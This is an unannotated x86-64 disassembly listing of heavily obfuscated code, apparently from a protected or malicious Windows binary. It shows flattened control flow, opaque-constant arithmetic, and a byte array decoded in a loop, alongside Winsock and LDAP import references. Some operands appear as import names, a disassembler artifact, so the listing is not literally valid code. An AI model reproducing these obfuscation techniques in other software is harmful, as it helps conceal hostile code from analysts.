lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14021425f
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14021423d
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14021421c
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x1402141f9
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1402141d6
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1402141c2
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140213fa3
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x140213fa3
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x26
jmp 0x140213f96
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140213f31
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x140213ec0
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_26
jmp 0x1402148df
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x140214915
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14021493b
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1402147e0
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x14021480f
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14021487e
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x140214963
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1402149bd
movabs rdx, 0x8de32188cc04a8d0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140214a10
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov byte [rbp + r9 + 0x700], bl
jmp 0x140214a1f
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
cmp r10, 0x1000
jb 0x140214310
movabs rcx, 0xf00e4fc4381099b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x1402148f1
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x1402143c7
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 6
je 0x140214814
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x14021461e
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, r14
jae 0x1402147bf
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x1402146ec
movabs rcx, 0xe41f9575967bc6dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14021433a
movabs rdx, 0x64c66288f9f66384
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140214a10
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x1402149bd
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140214851
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14021487e
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14021480f
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x14021422b
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14021493b
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140214607
movabs rcx, 0xc1a100b078b287a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x1402148f1
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x14021454c
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x14021439d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140214577
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x140214a10
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140214591
movabs rdx, 0x350b794e73a31824
mov ecx, esi
jmp 0x140214851
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1402145c0
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14021480f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1402145eb
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x1402147e5
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14021439d
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140214915
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140214649
movabs rcx, 0xb26331447cfb31c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x1402148f1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140214674
movabs rcx, 0xcf9135f5ad74a436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x1402147e5
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140214691
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x1402145a9
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1402146bd
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x14021487e
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1402143d9
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6e
jmp 0x140214a10
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140214718
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x140214a10
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140214743
movabs rcx, 0x14d9a26c6f53950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140214963
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140214772
movabs rdx, 0x6a16f29ce7463048
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021480f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14021478f
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140214929
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14021433a
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x140214915
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x700]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0x700], cl
add rdi, r10
jmp 0x14021487e
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x700]
add bl, dl
add bl, r8b
jmp 0x140214963
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140214838
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x72
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140214a1f
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
jmp 0x14021493b
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7e
jmp 0x1402148f1
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x700], cl
add r10, r15
jmp 0x14021493b
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
sub r9, r15
jmp 0x140214a1f
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x700], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x1402149bd
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x700], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140214a10
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x700]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140213eae
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140213eab
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140213e9b
lea rdx, [rbp + 0x15982a8]
jmp 0x140214a8c
lea rdx, [rbp + 0x16dc066]
jmp 0x140214a8c
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0x158]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2850]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140214ac1
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2850]
call fcn.14018c840
nop
lea rcx, [rbp + 0x2850]
call fcn.140266950
nop
lea rcx, [rbp + 0x2850]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0xe50], 0xe3
mov byte [rbp + 0xe51], 0xad
mov byte [rbp + 0xe52], 0xec
mov byte [rbp + 0xe53], 0xab
mov byte [rbp + 0xe54], ntohl
mov byte [rbp + 0xe55], 0xa9
mov byte [rbp + 0xe56], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xe57], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xe58], 0x3d
mov byte [rbp + 0xe59], __WSAFDIsSet
mov byte [rbp + 0xe5a], r13b
mov byte [rbp + 0xe5b], __WSAFDIsSet
mov byte [rbp + 0xe5c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xe5d], __WSAFDIsSet
mov byte [rbp + 0xe5e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xe5f], 0x9f
mov byte [rbp + 0xe60], 7
mov byte [rbp + 0xe61], 0x9d
mov byte [rbp + 0xe62], 5
mov byte [rbp + 0xe63], 0x9b
mov byte [rbp + 0xe64], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xe65], 0x99
mov byte [rbp + 0xe66], Ordinal_46
mov byte [rbp + 0xe67], 0x87
mov byte [rbp + 0xe68], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xe69], 0x85
mov byte [rbp + 0xe6a], Ordinal_217
mov byte [rbp + 0xe6b], 0x83
mov byte [rbp + 0xe6c], 0x3d
mov byte [rbp + 0xe6d], 0x81
mov byte [rbp + 0xe6e], Ordinal_50
mov byte [rbp + 0xe6f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xe70], Ordinal_46
mov byte [rbp + 0xe71], Ordinal_143
mov byte [rbp + 0xe72], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xe73], Ordinal_143
mov byte [rbp + 0xe74], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xe75], Ordinal_143
mov byte [rbp + 0xe76], 0x64
mov byte [rbp + 0xe77], 0xf7
mov byte [rbp + 0xe78], 0x5c
mov byte [rbp + 0xe79], 0xf5
mov byte [rbp + 0xe7a], 0x62
mov byte [rbp + 0xe7b], 0xf3
mov byte [rbp + 0xe7c], 0xaa
mov byte [rbp + 0xe7d], 0xf1
mov byte [rbp + 0xe7e], 0xa2
mov byte [rbp + 0xe7f], 0xff
mov byte [rbp + 0xe80], 0xae
mov byte [rbp + 0xe81], 0xfd
mov byte [rbp + 0xe82], 0x57
mov byte [rbp + 0xe83], 0xfb
mov byte [rbp + 0xe84], 0x60
mov byte [rbp + 0xe85], 0xf9
mov byte [rbp + 0xe86], Ordinal_79
mov byte [rbp + 0xe87], 0xe7
mov byte [rbp + 0xe88], 0xb6
mov byte [rbp + 0xe89], 0xe5
mov byte [rbp + 0xe8a], 0x77
mov byte [rbp + 0xe8b], 0xe3
mov byte [rbp + 0xe8c], 0x7d
mov byte [rbp + 0xe8d], 0xe1
mov byte [rbp + 0xe8e], 0x47
mov byte [rbp + 0xe8f], 0xef
mov byte [rbp + 0xe90], 0xec
mov byte [rbp + 0xe91], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe92], xmm0
mov qword [rbp + 0xea2], rax
mov byte [rbp + 0xeaa], al
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x14021589b
movzx r8d, byte [rbp + r9 + 0xe50]
mov r11, r8
cmp rdi, r9
ja 0x140215892
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140214d43
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x4a
jmp 0x140214d7d
je 0x14021580b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14021577f
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14021574a
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140215701
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1402156d9
cmp r10, r9
ja 0x140215889
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x140214da3
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x140214f8a
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140215693
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140215674
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140215651
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14021562e
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1402152ff
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1402152de
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1402152ca
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1402152a7
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x140215285
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140215271
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14021524e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14021523a
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140215219
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x140215205
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140214de4
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140215866
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x140215840
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140214fc4
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x140214fa1
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x140214f7b
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x1402151ab
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140215150
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x140215104
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1402150e1
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1402150bf
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140215099
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x140215076
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140215062
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140215041
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14021502d
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14021500b
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140214fea
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140214de4
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x140214de4
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140214dd7
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x140214d7d
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140214d0c
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x1402156af
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x1402156f6
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x14021545d
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2c
jmp 0x1402153b0
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140215759
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x54
jmp 0x14021576e
movabs rdx, 0x762804f2acf943d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402157a3
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x1402157d5
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x140215829
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
cmp r10, 0x41
jb 0x1402155c9
movabs rcx, 0xafb7b47749b6ac5c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x1402156b1
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 3
jae 0x1402155d6
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x1402154fb
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x140215121
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x140215604
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x140215416
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x140215171
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x140215346
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x14021564a
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x140215371
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x14021576e
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140215759
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14021571e
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x1402156f9
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x1402153ff
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x1402156af
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x14021532e
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402151c8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14021535d
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140215829
cmp rdi, rcx
jne 0x140215388
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402157a3
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1402153b7
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021571e
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1402153e3
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x1402156f9
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1402151c8
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_26
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402156f6
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140215445
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402156b1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140215474
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402156f9
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1402154a0
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x14021576b
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1402154cb
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x1402157a3
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140215171
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2a
jmp 0x140215829
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140215518
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x140215346
cmp rdi, rcx
jne 0x14021553f
movabs rcx, 0xc9fe878a78ffabc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x1402157d5
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14021556b
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14021576b
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14021559a
movabs rdx, 0xc6f1c177a12cfff4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402156f6
